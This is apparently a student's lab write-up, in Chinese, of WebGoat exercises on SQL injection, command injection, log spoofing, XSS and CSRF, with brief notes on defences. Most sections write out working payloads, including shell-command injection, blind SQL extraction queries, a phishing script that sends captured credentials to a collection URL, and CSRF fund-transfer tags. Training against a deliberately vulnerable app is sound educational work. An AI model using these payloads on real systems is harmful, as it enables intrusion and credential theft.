2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp9 Web安全基础
2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp9 Web安全基础
一、实践目标
- 理解常用网络攻击技术的基本原理
二、实践要求
- 做不少于7个题目,包括(SQL,XSS,CSRF)
- 抓图包括学号
三、实验步骤
实验前准备
安装、配置、启用webgoat
-
由于 webGoat 需要 Java SE8 的支持,而通过命令
java -version
查看kali的jdk,发现不是这个版本,而版本不匹配那么浏览器的菜单栏中会缺失很多内容,所以需要先下载 jdk1.8 -
我下载好后上传至我的百度网盘,自取链接,提取码:8ou6
-
然后参考Kali-JDK1-8安装进行安装配置jdk
-
配置好之后,通过命令
java -version
查看检查jdk版本是否已为1.8
-
通过网站链接下载 webgoat-container-7.0.1-war-exec.jar
-
我下载好后上传至我的百度网盘,自取链接,提取码:8ou6
-
下载好之后,将其移至到kali中,然后在管理员权限下通过命令
java -jar webgoat-container-7.0.1-war-exec.jar
开启 WebGoat
- 出现如下提示则表示运行成功:
- 右键kali桌面,选择“应用程序--网络浏览器”打开浏览器,在网站栏中输入
http://localhost:8080/WebGoat
,进入WebGoat登录界面
- 使用页面下端两个账户中任意一个账号密码进行登录,可以看到登录成功界面如下:
SQL注入攻击(Injection Flaws)
- SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
- SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
- SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。
1.Command Injection
- 在菜单栏中选择 Injection Flaws,展开页面中选择 Command Injection ,然后右键点击页面,打开 inspect Element 审查网页元素,找到有关AccessControlMatrix.help 内容的代码段,双击进行修改,添加
"& netstat -an & ipconfig"
- 然后点击 view ,可以看到执行指令后的网络端口使用情况和IP地址
2.Numeric SQL Injection
- 在菜单栏中选择 Injection Flaws,展开页面中选择 Numeric SQL Injection ,然后右键点击页面,打开 inspect Element 审查网页元素,找到有关城市编号的Value值的相关代码端,双击进行修改,在101后空格然后添加
or 1=1
- 然后点击
Go!
,即可显示所有城市的天气情况
3.Log Spoofing
-
在菜单栏中选择 Injection Flaws,展开页面中选择 Log Spoofing
-
在 User Name 中输入
cjy5218%0d%0aLogin Succeeded for username: admin
,其中,0D% 表示回车和 %0A 表示换行,然后点击 Login 进行登录,可以发现下面出来两条信息,第一条是我输入的 User Name 即 cjy5218 ,第二条为 admin,可见登录成功,如下所示:
4.LAB: SQL Injection
-
在菜单栏中选择 Injection Flaws,展开页面中选择 LAB: SQL Injection,在其下页面中选择 Stage 1:String SQL Injection
-
然后右键点击页面,选择 inspect Element 审查网页元素,找到有关Password内容的代码端,将password密码框的最大长度限制改为18
- 选择用户 Neville Bartholomew(admit),输入密码
hello' or '1' = '1
进行登录
- 登录成功即欺骗成功后,可以发现能够获取到所有人员列表
5.Numeric SQL Injection
-
在菜单栏中选择 Injection Flaws,展开页面中选择 LAB: SQL Injection,在其下页面中选择 Stage 3:Numeric SQL Injection
-
下拉复选框选择用户名 Larry,然后输入密码 larry 进行登录
- 点击 ViewProfile 查看用户信息
-
然后返回,右键点击页面,选择 inspect Element 审查网页元素,找到有关员工信息的代码段,可以看到数据库索引的依据是员工ID
-
因为老板工资应该是最高的,所以将员工ID的 value 双击进行修改,改成
101 or 1=1 order by salary desc
,使得老板的信息就可以被查看到
- 更改后再次点击 ViewProfile ,就可以看到最高纪录的结果如下:
6.String SQL Injection
- 在菜单栏中选择 Injection Flaws,展开页面中选择 String SQL Injection ,输入 Smith 进行查询,正常情况下只能查询到用户名对应的信用卡号码
-
重新输入查询的用户名
Smith' or 1=1--
(1=1是恒等式,Smith 和1=1都成了查询的条件,这样的话就能查询到表里面的所有数据) -
查询到所有用户信用卡号码结果如下:
7.Blind Numeric SQL Injection
-
在菜单栏中选择 Injection Flaws,展开页面中选择 Blind Numeric SQL Injection,输入查询语句101 AND 1=1 ,可知页面返回帐号有效
-
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 )
,提示Invalid account number
表示PIN<10000
- 然后使用二分法,一步一步缩小范围,例如这里我再次查询5000,还是提示
Invalid account number
表示PIN<5000
- 就这样慢慢缩小范围,最终得出pin的值为2364
8.Blind String SQL Injection
-
这里跟上面的原理是一样的,在菜单栏中选择 Injection Flaws,展开页面中选择 Blind String SQL Injection
-
输入查询语句
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'D' );
判断第一个字母是不是是否比字母“D”小,提示Invalid account number
表示比字母“D”大
- 然后继续一步步查询,尝试与字母“L”进行比较,提示
Account number is valid
,表示确实比字母“L”小
- 就这样一步步查询,一步步确定,最终得出字段为 Jill
XSS攻击(Cross‐Site Scripting)
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
1.XSS 钓鱼(Phishing with XSS)
-
目标: 创建一个form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
-
在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 PhishingTitle
-
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中,内容如下:
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 然后点击search,在登陆框中输入自己的用户名和密码(这里我输入的用户名是20175218,密码是cjy),点击登录,用户名和密码被窃取,然后会显示在页面上,如图所示:
2.存储型XSS攻击(Stored XSS Attacks)
-
在菜单栏中选择 Cross‐Site Scripting,展开页面中选择 Stored XSS Attacks。然后在title中任意输入字符,留言板中输入
<script>alert("I am 20175216zxy. You've been attacked!!!");</script>
-
点击 Submit ,在下面 Message List 会出现一条信息,点击出现提示
3.反射型XSS攻击(Reflected XSS Attacks)
-
在菜单栏中选择 Cross‐Site Scripting,展开页面中选择 Reflected XSS Attacks 。然后在
Enter your three digit access code
框中输入<script>alert("You've been attacked!!! I'm 20175218cjy");</script>
-
点击 Purchase ,出现提示:
CSRF攻击
跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。 CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟XSS攻击一样,存在巨大的危害性。
1.Cross Site Request Forgery (CSRF)
- 在菜单栏中选择 Cross‐Site Scripting,展开页面中选择 Cross Site Request Forgery (CSRF) 。查看页面右侧Parameters中的src和menu值,分别为327和900
-
在 title 中输入任何参数(我这里输入的是我的学号:20175218),message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=5000" width="1" height="1" />
,然后点击Submit提交(注意其中数据一定是跟Parameters中一样) -
在Message List中生成以Title命名的消息(20175218),点击该消息,达成CSRF攻击
2.CSRF Prompt By‐Pass
- 在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 CSRF Prompt By‐Pass 。在title框中输入信息(这里我输入的是我的学号:20175218),message框中输入以下代码(注意其中数据一定是跟Parameters中一样):
<iframe src="attack?Screen=329&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=329&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击Submit提交,在Message List中生成以Title命名的链接(20175218),点击进入后,可以发现攻击成功
四、实验中遇到的问题
问题一
最开始下载好 webGoat ,输入命令 java -jar webgoat-container-7.0.1-war-exec.jar
开启 WebGoat,发现打开的界面有点奇怪,然后查看其他同学的博客,发现果然与其他同学不同
解决方法: 看到有同学博客里写到jdk版本的问题,发现需要jdk1.8,于是参考大佬博客成功安装配置jdk1.8后成功解决问题
五、实践思考
问题一
(1)SQL注入攻击原理,如何防御
答:对于SQL攻击,我还是比较熟悉,毕竟做过了很多这种攻击的实验和尝试。它的原理就是在Web应用对后台数据库查询语句处理存在的安全漏洞,说得通俗就是在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的,危害还算比较大的。然后就是对它的防御,首先我觉得可以对输入参数加以控制,例如不能输入一些比较特殊的字符,像--等;然后还可以限制攻击者设法获取访问权限,设置相应的要求等等
问题二
(2)XSS攻击的原理,如何防御
答:对于XSS攻击,好像也做过一些,可能比较少。它的原理就是攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。这比较官方,说得通俗就是利用漏洞,输入脚本代码,使得脚本代码运行,从而达到攻击的目的。对于此,我觉得防御方面还是可以控制和过滤一些特殊字符,使其无法被读取;然后作为用户本身也需要提高意识,不要一看见登录啥啥啥就输入自己的账号密码,比如啥啥啥需要输入QQ账号密码的,先查清楚这是不是安全的才输入
问题三
(3)CSRF攻击原理,如何防御
答:对于CSRF攻击,这个就几乎是,没用过,通过这次实验才熟悉了很多。它的原理就是冒名登录,也就是说通过盗用用户身份,挟持用户当前已登陆的Web应用程序,然后去执行并非用户本意的操作,从而达到攻击目的。然后对于它的防御,我觉得首先一个很重要的一点就是不要保存密码,现在一般网页登录,浏览器都会提示我们要不要保存密码,虽然这样非常方便,下次登录就不用输入密码了,但是这样却很容易引起攻击,建议少使用;然后就是比较正常的防御手段,比如:验证HTTP Referer字段以及在请求地址中添加token并验证等
六、实验收获与感想
这次实验,总的来说不是很困难,做得也是比较顺利。稍微有一些麻烦就是最开始没有考虑到jdk版本问题,后来发现后才安装配置的jdk,这样才顺利完成这次实验。通过这次实验,我对SQL注入攻击也更加熟悉了,虽然之前也进行过很多次这种攻击,但是这一次更加全面的进行了多次SQL注入攻击,让我对其可谓是非常熟悉了。然后是对XSS攻击和CSRF攻击也熟悉了许多,以前对这两个了解和进行实践比较少,通过这一次实验,对它们俩也是了解熟悉得比较透彻了。最后就是,这学期做了很多攻击的实验,也让我知道了危机是潜伏在我们身边到处都是,一步小心我们就可能被攻击者攻击了(虽然似乎攻击我的价值不大...),所以我们还是得增强自己的知识广度,当真正遇到攻击的时候,至少也得知道一些防御措施。除此之外,日常生活,我们就得提高自身的安全意识,这样就能减少被攻击的概率了。最后,希望自己能够在以后做得更好。